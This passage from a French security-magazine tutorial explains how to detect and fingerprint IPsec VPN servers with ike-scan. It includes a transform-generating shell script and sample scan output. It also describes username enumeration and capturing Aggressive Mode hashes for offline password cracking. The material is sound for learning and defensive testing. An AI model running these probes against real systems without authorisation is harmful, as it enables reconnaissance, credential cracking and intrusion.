Principal (Main Mode) et Mode Agressif (Aggressive Mode). Par opposition, la phase
2 ne comprend qu'un seul mode, appelé Mode Rapide – Quick Mode (en ce qui con-
cerne cet article, vous allez vous concentrer sur la phase 1). La Figure 1 présente les
relations entre les différents protocoles dans le framework IPsec.
Figure 1. Vue d'ensemble du
framework du protocole IPsec
Figure 2. Le paquet IKE en Mode
Principal et le bloc transform par
défaut
hakin9 Nº 6/2005 www.hakin9.org
Fiche technique
48
ID (VID) dans leurs réponses. Cela
sera décrit plus tard lors de l'analyse
de la récupération d'empreintes des
systèmes. Pour les systèmes répon-
dant par un message de notifcation,
vous recevrez le numéro du message ,
et le nom qui correspond à ce numéro,
par exemple : Notify message 14 (NO-
PROPOSAL-CHOSEN).
Tester des différentes
transformations
Il existe aussi des systèmes VPN qui
ne répondent pas par un message de
notifcation lorsque aucune transfor-
mation n'est acceptée. Certains d'en-
tre eux ignorent tout simplement les
paquets IKE contenant des attributs
non valides. Il faut trouver une trans-
formation acceptable afn d'obtenir les
réponses de ce type de systèmes.
Chaque transformation comporte
un nombre variable d'attributs mais
en pratique, vous n'en avez besoin
que quatre à cette étape : l'algorithme
de chiffrement (et la longueur de la clé
pour les chiffres de longueur variable),
l'algorithme de hachage, la méthode
d'authentifcation et le groupe Diffe-
Hellman. Vous pouvez laisser la durée
de la SA en secondes par défaut,
à savoir 28800, car ce chiffre est ac-
cepté pratiquement à chaque fois et
il n'est donc plus nécessaire d'ajouter
d'autres attributs. La valeur pour cha-
cun des quatre attributs est un nombre
non signé de 16 bits et par consé-
quent, il y a 65536 valeurs possibles.
Si toutes ces valeurs étaient possi-
bles, vous disposeriez alors de 65536
4

(environ 18 millions de milliards) de
combinaisons différentes et il serait
alors impossible de toutes les tester.
Toutefois, en pratique, chaque attribut
se sert seulement de quelques valeurs
possibles et certaines de ces valeurs
sont plus répandues que les autres, il
est donc possible de détecter la plupart
des systèmes au moyen d'un nombre
raisonnable des transformations. Les
Tableaux de 2 à 5 énumèrent les
valeurs d'attributs de transformations,
défnies dans les différentes procédu-
res RFC IPsec et IETF.
Si vous regardez les valeurs
courantes dans les tables d'attributs
de transformations, vous consta-
Tableau 1. Le bloc transform par défaut utilisé par le ike-scan en Mode
Principal (Main Mode)
No Algo-
rithme de
chiffre-
ment
Algorithme
de hachage
Méthode
d'authentif-
cation
Groupe Dif-
fe-Hellman
Durée
(en se-
condes)
1 Triple-
DES
SHA1 Clé pré-par-
tagée
2 (1024 bits) 28800
2 Triple-
DES
MD5 Clé pré-par-
tagée
2 (1024 bits) 28800
3 DES SHA1 Clé pré-par-
tagée
2 (1024 bits) 28800
4 DES MD5 Clé pré-par-
tagée
2 (1024 bits) 28800
5 Triple-
DES
SHA1 Clé pré-par-
tagée
1 (768 bits) 28800
6 Triple-
DES
MD5 Clé pré-par-
tagée
1 (768 bits) 28800
7 DES SHA1 Clé pré-par-
tagée
1 (768 bits) 28800
8 DES MD5 Clé pré-par-
tagée
1 (768 bits) 28800
Listing 1. Sortie initiale de la détection
$ ike-scan --fle=target-ip-addresses.txt
Starting ike-scan 1.7 with 256 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.5 Notify message 14 (NO-PROPOSAL-CHOSEN)
10.0.0.6 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5 §
Group=2:modp1024 Auth=PSK LifeType=Seconds §
LifeDuration=28800) §
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 §
(IKE Fragmentation)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK §
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
Ending ike-scan 1.7: 256 hosts scanned in 19.22 seconds (13.32 hosts/sec). §
17 returned handshake; 32 returned notify
Tableau 2. Valeurs d'attribut de transformations pour l'algorithme de
chiffrement
Valeur Algorithme de
chiffrement
Commentaires
1 DES Courant
2 IDEA Très rare
3 Blowfsh Rare
4 RC5 Très rare
5 Triple DES Courant
6 CAST Rare
7 AES Courant sur les systèmes modernes, trois
longueurs de clé : 128, 192 et 256.
8 Camellia Très rare
Détection des VPN
hakin9 Nº 6/2005 www.hakin9.org 49
terez qu'il y a cinq algorithmes de
chiffrement (AES compte pour trois
car il a trois longueurs différentes de
clé), deux algorithmes de hachage,
quatre méthodes d'authentifcation
et trois groupes Diffe-Hellman. Tout
cela vous donne un total de 120 com-
binaisons de ces valeurs courantes,
ce qui n'est pas très élevé. Il est donc
possible de toutes les essayer.
Ike-scan permet de modifer la
méthode d'authentifcation au moyen
de l'option --auth dans le bloc de
transform par défaut. Autrement, il
est possible de spécifer une trans-
formation courante à l'aide de l'op-
tion --trans et d'utiliser cette option
plusieurs fois afn d'ajouter un nom-
bre arbitraire des transformations
à la charge de SA. Puisqu'il est
possible de spécifer un nombre ar-
bitraire de transformations au moyen
de l'option --trans, vous serez pro-
bablement tentés de spécifer les
cent vingt combinaisons. Cependant
cela ne fonctionnera pas car de nom-
breuses implémentations IPsec limi-
tent le nombre de transformations
à traiter. Le nombre maximal est
différent d'un fabricant à l'autre ; par
exemple, les solutions Checkpoint
n'acceptent pas plus de vingt trans-
formations. Toutefois, il faut procé-
der à de nombreux scans, contenant
chacun un nombre raisonnable de
transformations (reportez vous aussi
à l'encadré Autres options utiles pour
détecter les VPN).
Une manière de le faire consiste
à créer un script chargé de générer
toutes les combinaisons de trans-
formations et à utiliser ensuite le
xargs pour lancer le ike-scan autant
de fois que nécessaire avec un
nombre maximal de transformations
spécifé. Le Listing 2 présente un
exemple d'un script à utiliser afn
de générer une liste de transforma-
tions avec des attributs courants.
Comme le script s'appelle generate-
transforms.sh, vous l'utiliserez pour
lancer le ike-scan avec vingt trans-
formations au plus :
# generate-transforms.sh \
| xargs --max-lines=20 ike-scan \
--fle=target-ip-addresses.txt
Tableau 3. Valeurs d'attribut de transformations pour l'algorithme de hachage
Valeur Algorithme de hachage Commentaires
1 MD5 Courant
2 SHA1 Courant
3 Tiger Rare
4 SHA2-256 Rare
5 SHA2-384 Rare
6 SHA2-512 Rare
Tableau 4. Valeurs d'attribut de transformations pour la méthode
d'authentifcation
Valeur Méthode
d'authentifca-
tion
Commentaires
1 Clé pré-partagée Courant
2 Signature DSS Rare
3 Signature RSA Courant
4 Chiffrement RSA Rare
5 Chiffrement RSA
révisé
Rare
6 Chiffrement
ElGamel
Rare
7 Chiffrement El-
Gamel révisé
Rare
8 Signature
ECDSA
Rare
64221 Mode Hybride Courant sur les systèmes Checkpoint
65001 XAUTH Courant sur les systèmes d'accès à distance
Tableau 5. Valeurs d'attribut de transformations pour le groupe Diffe-Hellman
Valeur Groupe Diffe-Hellman Commentaires
1 MODP 768 Courant
2 MODP 1024 Courant
3 EC2N 155 Rare
4 EC2N 185 Rare
5 MODP 1536 Courant
6 EC2N 163 Rare
7 EC2N 163 Rare
8 EC2N 183 Rare
9 EC2N 183 Rare
10 EC2N 409 Rare
11 EC2N 409 Rare
12 EC2N 571 Rare
13 EC2N 571 Rare
14 MODP 2048 Rare
15 MODP 3072 Rare
16 MODP 4096 Rare
17 MODP 6144 Rare
18 MODP 8192 Rare
hakin9 Nº 6/2005 www.hakin9.org
Fiche technique
50
Une méthode alternative, plus rapide
mais moins approfondie, consiste
à utiliser le bloc de transform standard
et à changer la méthode d'authen-
tifcation de la clé pré-partagée
(Pre-Shared Key) contre une autre
option courante. Pour ce faire, vous
pouvez vous servir de l'option –auth,
par exemple : ike-scan --auth=3
--fle=target-ip-addresses.txt utili-
sera le bloc de transform standard
avec la méthode d'authentifcation
pour la signature RSA. Cette mé-
thode est étonnamment effcace et
elle est recommandée si vous n'avez
pas le temps de vérifer toutes les
combinaisons répandues d'attributs
de transformations.
Fingerprinting
de VPN IPsec
Une fois que vous avez détecté quel-
ques serveurs VPN, l'étape suivante
consiste à trouver le plus d'informa-
tions possible sur leur sujet. En utilisant
les techniques de prise d'empreinte
mentionnées ci-dessous, vous pouvez
souvent déterminer le fabricant et le
modèle du serveur VPN ; vous pouvez
également déterminer le numéro de
version du logiciel. Cette information
peut être précieuse pour des intrus.
En effet, ils peuvent s'en servir afn
de chercher des failles connues, liées
à ce type de VPN, ou de télécharger
le logiciel client VPN approprié et d'es-
sayer de deviner les logins et les mots
de passe. Le serveur VPN sert sou-
vent de pare-feu. Dans ce cas, la prise
d'empreintes identifera également le
type du pare-feu.
Une seule technique de prise d'em-
preintes sufft souvent pour identifer
une implémentation du serveur VPN.
Cependant, lorsque vous ne pouvez
obtenir une correspondance défnitive
avec aucune technique, la combinai-
son des méthodes vous fournira en
général assez d'informations pour dé-
terminer l'implémentation ou au moins,
faire une bonne supposition.
Obtenir un message de
handshake IKE
La première étape consiste à es-
sayer de récupérer un message
de prise de contact IKE (en anglais
handshake) de tous les systèmes
que vous voulez analyser et noter
les attributs de transformations ac-
ceptables. Si vous avez déjà reçu un
tel message à l'étape de la détection,
vous ne devez noter que les attributs
de transformations à partir du pay-
load SA. Si vous n'avez cependant
reçu qu'un message de notifcation,
vous devez essayer d'obtenir un
message de prise de contact avant
de passer à la prise d'empreintes.
Listing 2. Script pour générer une liste de transformations avec des
attributs courants
#!/bin/sh
# Encryption algorithms:
# DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods:
# Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffe-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
for ENC in $ENCLIST
do
for HASH in $HASHLIST
do
for AUTH in $AUTHLIST
do
for GROUP in $GROUPLIST
do
echo "--trans=$ENC,$HASH,$AUTH,$GROUP"
done
done
done
done
Autres options utiles pour détecter les VPN
Les options du ike-scan suivantes pourront vous être utiles lorsque vous procédez à la
détection du serveur VPN, en particulier, si vous traitez une grande liste des adresses
IP cibles :
• --retry – spécife le nombre maximal de tentatives envoyées à un hôte qui ne
réagit pas. Par défaut, le nombre s'élève à trois mais vous pouvez le réduire à un,
à moins qu'un paquet se soit perdu entre vous et la cible. Si vous le réduisez, le scan
sera plus rapide mais moins évident,
• --interval – spécife l'intervalle en millisecondes entre les paquets partis. Cet
intervalle est par défaut de 75 ms. Ce chiffre correspond à la consommation de la
bande passante partant de 38800 bits par seconde pour un paquet dont la taille
par défaut est de 364 octets. Il vous est possible de le diminuer afn d'accélérer le
balayage si vous disposez d'une bande passante suffsante. Il vous est également
possible de l'augmenter afn de rendre le balayage plus furtif. N'oubliez pas que
la taille du paquet peut changer en fonction d'autres options. Vous devez donc le
prendre en considération quand vous calculez la consommation de la bande pas-
sante pour un intervalle donné,
• --random – randomise l'ordre dans lequel les cibles sont scannées.
Il existe de nombreuses autres options ; pour obtenir une liste complète, il sufft de lan-
cer ike-scan --help.
Détection des VPN
hakin9 Nº 6/2005 www.hakin9.org 51
Pour obtenir alors un message de
handshake, il est nécessaire d'essayer
toutes les combinaisons des attributs
de transformations jusqu'à ce que
vous trouviez celui qui est acceptable.
Le processus est le même que celui
utilisé lors de l'étape de la détection,
pour détecter les systèmes VPN qui ne
répondaient pas au bloc de transform
standard. La seule différence consiste
au fait que vous traitez un nombre plus
restreint de systèmes et que vous pou-
vez pourtant essayer plus d'attributs.
Une fois un message de prise
de contact IKE reçu, vous utilise-
rez la transformation acceptable
lors des prochains scans. À titre
d'exemple, si la charge de SA retour-
née était la suivante : SA=(Enc=AES
KeyLength=256 Hash=SHA1 Group=5:
modp1536 Auth=PSK LifeType=Seconds
LifeDuration=28800), vous spécife-
rez alors --trans=7/256,2,1,5.
Fingerprinting
de backoff de UDP
IKE se sert du transport UDP qui
n'est pas fable. Il doit toutefois
implémenter sa propre stratégie de
retransmission pour s'occuper des
paquets perdus. Puisque les RFC de
IPsec ne spécifent pas les détails de
la stratégie de backoff, tous les dis-
tributeurs IPsec inventent en général
leurs propres schémas. Vous pouvez
vous servir de différentes stratégies
de backoff pour effectuer la prise
d'empreintes d'un serveur VPN.
Pour obtenir les détails sur la
forme du backoff, vous envoyez un
paquet IKE avec une transforma-
tion acceptable mais ne répondez
à aucune des réponses du serveur
VPN. Le serveur considérera que
le paquet s'était perdu et ressayera
suivant sa stratégie de backoff. En
enregistrant l'heure d'arrivée de
chaque paquet en provenance du
serveur et en calculant la différence
entre les heures, vous pouvez déter-
miner la stratégie de backoff et par
conséquent l'empreinte du serveur.
La Figure 3 présente l'échange
ordinaire de paquets de IKE en Mode
Principal entre un client VPN et un ser-
veur VPN. La Figure 4 montre l'échan-
ge de paquets lorsque le client ignore
les réponses du serveur. Vous pouvez
constater que le temps de latence de
la connexion entre le client et le ser-
veur n'a pas d'impact sur la forme de
backoff observée par le client car vous
calculez les différences entre le temps
des paquets.
Ike-scan permet d'obtenir la
forme du backoff du serveur VPN. Il
essayera également de faire corres-
pondre les motifs reçus avec une base
de données des motifs connus. Pour
procéder à la technique de fngerprin-
ting de backoff, il est nécessaire de
spécifer l'option –-showbackoff. Cette
option permettra à ike-scan d'enre-
gistrer les temps de tous les paquets
de réponses et d'attendre soixante
secondes après le dernier paquet pour
s'assurer qu'il les ait tous vus. Ensuite,
il affche les détails des temps et es-
saye de faire correspondre les formes.
Il est en effet nécessaire d'attendre
que tous les paquets soient envoyés
et d'attendre quelques minutes sup-
plémentaires pour être sûr qu'aucun
autre paquet n'arrive. Le fnger-
printing de backoff prend entre une
et deux minutes.
Le Listing 3 présente la technique
d'empreinte de backoff sur quatre
différents types de serveur VPN.
Voici ce que signifent les colonnes
dans les formes de backoff :
• IP Address – l'adresse IP du ser-
veur VPN à laquelle correspond
la forme,
• No. – le numéro du paquet de
réponse de l'hôte et le premier
paquet de réponse qui porte le
numéro 1,
• Recv time – l'heure où le paquet
de réponse est reçu ; cette heure
s'affche sous forme des secon-
des et microsecondes depuis mi-
nuit, le 1er janvier 1970 (utilisée
par les systèmes *NIX),
• Delta Time – la différence entre
le moment où ce paquet de ré-
ponse a été reçu et le moment où
le paquet précédent de réponse a
été reçu (cette différence s'élève
toujours à zéro pour le premier
paquet de réponse) ; la diffé-
rence s'affche en secondes et
microsecondes.
Vous pouvez constater que tous les
quatre serveurs ont répondu avec
une syntaxe différentes à chaque fois,
et dans chaque cas, vous avez été
capables de déterminer le type du ser-
veur VPN. Vous avez du également
remarquer que certains des serveurs
ont répondu avec des payload VID
supplémentaires : il s'agit des payload
de Vendor ID (ils seront analysés dans
la suite de cet article).
Figure 3. Échange ordinaire de paquets IKE en Mode Principal
Figure 4. Retransmission IKE lorsque le client ne répond pas
hakin9 Nº 6/2005 www.hakin9.org
Fiche technique
52
Les durées observées peuvent
être différentes d'une fraction de se-
conde que les valeurs utilisées dans
l'algorithme de backoff à cause des dif-
férentes durées d'attentes, des retards
programmés sur le serveur et d'autres
questions. Pourtant, si vous arrondis-
sez les retards observés à la seconde
près, vous pouvez remarquer que les
quatre formes sont les suivants :
• Checkpoint Firewall-1 – 0, 2, 2, 2,
2, 2, 2, 4, 4, 4, 4, 4,
• Cisco VPN Concentrator – 0, 8,
8, 8,
• Nortel Contivity – 0, 16, 16, 16,
• Microsoft Windows – 0, 1, 2, 4, 8,
16, 32.
Pour voir d'autres exemples de for-
mes de backoff, regardez le fchier
ike-backoff-patterns inclus dans la
distribution ike-scan. Actuellement,
ce fchier contient vingt-quatre for-
mes de backoff différentes.
Fingerprinting du Vendor ID
Le protocole IKE défnit un payload
facultatif de Vendor ID (VID) qui
peut être inclus dans le paquet de la
phase 1 de IKE et peut contenir des
données arbitraires. Ce payload est
utilisé par les fabricants pour échan-
ger les détails sur les extensions de
propriété ou pour réorganiser leurs
propres implémentations. Les don-
nées dans le payload sont souvent
des chaînes texte chiffrés via MD5.
Vous pouvez vous servir de
n'importe quelle charge de Vendor
ID envoyée par le serveur VPN pour
pouvoir l'identifer. Ike-scan affchera
automatiquement toute charge de
Vendor ID reçue et il essayera de les
comparer avec une base de données
des formes connues de Vendor ID.
Il permet également aux charges de
Vendor ID d'être ajoutées au paquet
sortant à l'aide de l'option --vendor.
Tous les serveurs VPN n'envoient
pas de Vendor ID. Ceux qui le font
ne les envoient qu'à la réception d'un
Vendor ID spécifque ou qu'en mode
agressif IKE (que nous allons analyser
dans la suite de cet article). Si un ser-
veur VPN n'envoie pas de Vendor ID et
vous pensez savoir ce que c'est, cela
Listing 3. Exemples de fngerprinting de backoff en UDP
$ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK §
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.1 1 1121251508.773117 0.000000
10.0.0.1 2 1121251510.772474 1.999357
10.0.0.1 3 1121251512.775259 2.002785
10.0.0.1 4 1121251514.777952 2.002693
10.0.0.1 5 1121251516.780746 2.002794
10.0.0.1 6 1121251518.783504 2.002758
10.0.0.1 7 1121251520.786298 2.002794
10.0.0.1 8 1121251524.791781 4.005483
10.0.0.1 9 1121251528.797329 4.005548
10.0.0.1 10 1121251532.802822 4.005493
10.0.0.1 11 1121251536.808370 4.005548
10.0.0.1 12 1121251540.813874 4.005504
10.0.0.1 Implementation guess: Firewall-1 4.1/NG/NGX
$ ike-scan --trans=5,1,1,2 --showbackoff 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.2 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5 §
Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) §
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.2 1 1121252105.954742 0.000000
10.0.0.2 2 1121252113.946698 7.991956
10.0.0.2 3 1121252121.944037 7.997339
10.0.0.2 4 1121252129.945608 8.001571
10.0.0.2 Implementation guess: Cisco VPN Concentrator
$ ike-scan --trans=5,2,1,2 --showbackoff 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK §
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.3 1 1121252226.796701 0.000000
10.0.0.3 2 1121252242.606684 15.809983
10.0.0.3 3 1121252258.419674 15.812990
10.0.0.3 4 1121252274.559528 16.139854
10.0.0.3 Implementation guess: Nortel Contivity
$ ike-scan --trans=5,2,3,2 --showbackoff 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 §
Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds §
LifeDuration(4)=0x00007080) §
VID=1e2b516905991c7d7c96fcbfb587e46100000004 §
(Windows-2003-or-XP-SP2) §
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) §
VID=90cb80913ebb696e086381b5ec427b1f §
(draft-ietf-ipsec-nat-t-ike-02\n)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
10.0.0.4 1 1121252667.865074 0.000000
10.0.0.4 2 1121252668.971457 1.106383
10.0.0.4 3 1121252670.973030 2.001573
10.0.0.4 4 1121252674.972099 3.999069
10.0.0.4 5 1121252682.966370 7.994271
10.0.0.4 6 1121252698.968920 16.002550
10.0.0.4 7 1121252730.975145 32.006225
10.0.0.4 Implementation guess: Windows 2000, 2003 or XP
Détection des VPN
hakin9 Nº 6/2005 www.hakin9.org 53
vaut alors la peine de sniffer le trafc
sortant de l'application client VPN as-
sociée à l'aide de tcpdump ou Ethereal
pour observer tous les Vendor ID, Si
vous envoyez ce Vendor ID au ser-
veur, il répondra en général avec son
propre Vendor ID.
Le Listing 4 présente les payloa-
des Vendor ID retournés par le ser-
veur IPsec Microsoft Windows 2003.
Le premier VID est le plus intéressant :
c'est un hachage MD5 d'une chaîne
MS NT5 ISAKMPOAKLEY avec le numéro
quatre joint en tant que valeur 32
bits en format big-endian. Toutes les
implémentations IPsec de Microsoft
envoient le même hachage mais les
différentes versions des fenêtres in-
cluent des numéros différents à la fn
du hachage. Cette démarche permet
de limiter les possibilités de la version
du logiciel. Voici les valeurs connues
de ike-scan :
• 00000002 – Windows 2000 Server,
• 00000003 – Windows XP SP1,
• 00000004 – Windows 2003 Server
et Windows XP SP2.
Le Listing 5 présente un Checkpoint
Firewall-1. Ce serveur VPN retourne-
ra un payload Vendor ID seulement
s'il envoie une charge VID contenant
f4ed19e0c114eb516faaac0ee37daf280
7b4381f ; ce sont les vingt premiers
octets du VID envoyé par tous les
produits Checkpoint. Vous voyez
que le serveur retourne un Vendor ID
qui non seulement l'identife comme
Checkpoint Firewall-1 (car le VID
commence par les mêmes vingt oc-
tets) mais en plus, il identife la ver-
sion exacte du logiciel dans les vingt
octets restants. Dans ce cas là, la
cible se sert de Checkpoint Firewall-
1 NG AI R54. Reportez-vous au site
Web http://www.nta-monitor.com/
news/ checkpoi nt2004/ i ndex.htm
pour plus de détails sur la structure
de ce Vendor ID.
Enfn, le Listing 6 présente la
charge de Vendor ID retournée par
le routeur VPN Nortel Contivity. Ce
système retournera une charge VID
seulement si elle est envoyée dans
Listing 4. Charges de Vendor ID retournées par Windows 2003
$ ike-scan --trans=5,2,3,2 --multiline 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=RSA_Sig §
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=1e2b516905991c7d7c96fcbfb587e46100000004 (Windows-2003-or-XP-SP2)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=90cb80913ebb696e086381b5ec427b1f §
(draft-ietf-ipsec-nat-t-ike-02\n)
Listing 5. Charge de Vendor ID retournée par Checkpoint Firewall-1
$ ike-scan --trans=5,2,1,2 \
--vendor=f4ed19e0c114eb516faaac0ee37daf2807b4381f \
--multiline 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 §
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138§
c000000000000000018a00000 (Firewall-1 NG AI R54)
Listing 6. Charge de Vendor ID retournée par Nortel Contivity
$ ike-scan --trans=5,2,1,2 --vendor=00 --multiline 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 §
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=424e455300000009 (Nortel Contivity)
Figure 5. Paquet de Mode Agressif
IKE avec un bloc de transform par
défaut
Listing 7. Réponse en Mode Agressif en provenance de Cisco VPN
Concentrator
$ ike-scan --aggressive --multiline --id=fnance_group 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.2 Aggressive Mode Handshake returned
SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK §
LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=10.0.0.2)
Hash(16 bytes)
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
VID=1f07f70eaa6514d3b0fa96542a500306 (Cisco VPN Concentrator)
hakin9 Nº 6/2005 www.hakin9.org
Fiche technique
54
le paquet de requête. Toutefois,
contrairement à Checkpoint, le type
de Vendor ID donné importe peu
à Nortel, vous envoyez donc un
seul octet avec une valeur zéro. Le
Vendor ID retourné comporte quatre
octets qui sont une chaîne de texte
BNES suivie du numéro neuf en tant
qu'une valeur de 32 bits en format
big-endian. BNES signife proba-
blement Bay Networks Enterprise
Switch, correspondant au nom du
produit avant que Bay Networks soit
acheté par Nortel ; le numéro à la fn
représente probablement la version
du logiciel.
Mode agressif IKE
Dans tous les exemples, on s'est jus-
qu'à présent servi du Mode Principal
IKE supporté en principe par tous les
serveurs VPN. Certains serveurs
VPN, en particulier les serveurs d'ac-
cès distant, supportent également le
mode agressif. Si un serveur sup-
porte ce mode, vous pouvez alors
vous en servir pour obtenir des infor-
mations supplémentaires. Le Mode
agressif est en général utilisé pour
un accès distant avec une authenti-
fcation par clé pré-partagée.
La Figure 5 présente la structure
du premier paquet du Mode agressif
IKE. Vous pouvez constater qu'il
est plus complexe que le paquet
de Mode Principal montré dans la
Figure 2 car il contient trois payloads
supplémentaires :
• Key Exchange – valeur publique de
l'algorithme Diffe-Hellman,
• Nonce – données aléatoires pour
démontrer la vivacité et la pré-
vention de reproduction,
• Identifcation – identité du pair.
Puisque le paquet de Mode Agres-
sif contient la valeur publique de
l'algorithme Diffe-Hellman, seul un
groupe Diffe-Hellman peut être spé-
cifé dans la proposition. Par consé-
quent, le bloc de transform ike-scan
standard est différent du bloc utilisé
avec le Mode Agressif. Le Tableau 6
présente en détails les transforma-
tions dans un bloc de transformation
standard du Mode Agressif.
Tableau 6. Bloc de transform par défaut utilisé par ike-scan en Mode Agressif
Algo-
rithme de
chiffre-
ment
Algorithme
de hachage
Méthode
d'authentif-
cation
Groupe Dif-
fe-Hellman
Durée
(en se-
condes)
1 Triple-
DES
SHA1 Clé pré-par-
tagée
2 (1024 bits) 28800
2 Triple-
DES
MD5 Clé pré-par-
tagée
2 (1024 bits) 28800
3 DES SHA1 Clé pré-par-
tagée
2 (1024 bits) 28800
4 DES MD5 Clé pré-par-
tagée
2 (1024 bits) 28800
Listing 8. Réponse en Mode Agressif en provenance du pare-feu de
Cisco PIX
$ ike-scan --trans=7/256,2,1,2 --aggressive --multiline 194.70.91.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
194.70.91.2 Aggressive Mode Handshake returned
SA=(Enc=AES KeyLength=256 Hash=SHA1 Group=2:modp1024 Auth=PSK §
LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection)
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
VID=11f27f551d0760dfc9ca6f5670fe5291
KeyExchange(128 bytes)
ID(Type=ID_FQDN, Value=pix520-internet.company.com)
Nonce(20 bytes)
Hash(20 bytes)
Listing 9. Réponses différentes concernant l'attribut relatif à la longueur
de la clé avec des chiffres à longueur fxe
$ ike-scan --trans=5/27,2,1,2 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK §
Group=2:modp1024 KeyLength=27 LifeType=Seconds §
LifeDuration(4)=0x00007080)
$ ike-scan --trans=5/27,1,1,2 10.0.0.2
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
$ ike-scan --trans=5/27,2,1,2 10.0.0.3
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.3 Notify message 14 (NO-PROPOSAL-CHOSEN)
$ ike-scan --trans=5/27,2,3,2 10.0.0.4
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.4 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 §
Group=2:modp1024 Auth=RSA_Sig LifeType=Seconds §
LifeDuration(4)=0x00007080) §
VID=1e2b516905991c7d7c96fcbfb587e46100000004 §
(Windows-2003-or-XP-SP2) §
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) §
VID=90cb80913ebb696e086381b5ec427b1f §
(draft-ietf-ipsec-nat-t-ike-02\n)
Détection des VPN
hakin9 Nº 6/2005 www.hakin9.org 55
Il est parfois diffcile de faire
en sorte qu'un serveur VPN envoie
un message de prise de contact
au moyen du Mode Agressif IKE. En
effet, de nombreux serveurs ne répon-
dront pas tant qu'un ID n'est pas fourni
dans le payload d'identifcation. Cet ID
est en général soit un login de l'utilisa-
teur soit une adresse de messagerie
électronique. En fait, seule la réponse
aux ID valides introduit une vulnérabi-
lité permettant de vérifer à distance
l'existence d'un login (en anglais user-
name enumeration vulnerability) car
elle vous permet de distinguer les
logins valides et non valides.
Le Listing 7 présente une répon-
se en Mode Agressif en provenance
de Cisco VPN Concentrator. Dans
le cas de ce système, vous aurez
besoin de spécifer un login valide
dans l'identité de la charge. Vous
remarquerez que la réponse contient
plusieurs charges intéressantes :
• ID – le serveur se sert de son
adresse IP dans la charge d'iden-
tité ; si le serveur se trouve der-
rière un périphérique NAT, cela
va révéler son adresse réelle,
• Hash – c'est un hachage HMAC
basé sur MD5 ; vous pouvez
l'utiliser afn de procéder à une
attaque hors ligne consistant
à casser les mots de passe,
• VID – un total de cinq charges de
Vendor ID est retourné, ce qui
identife le système comme étant
un Cisco VPN Concentrator.
Le Listing 8 présente une réponse en
Mode Agressif en provenance d'un
pare-feu de Cisco PIX. Vous n'avez
pas besoin de fournir un ID valide
avec ce type de système. Il se sert
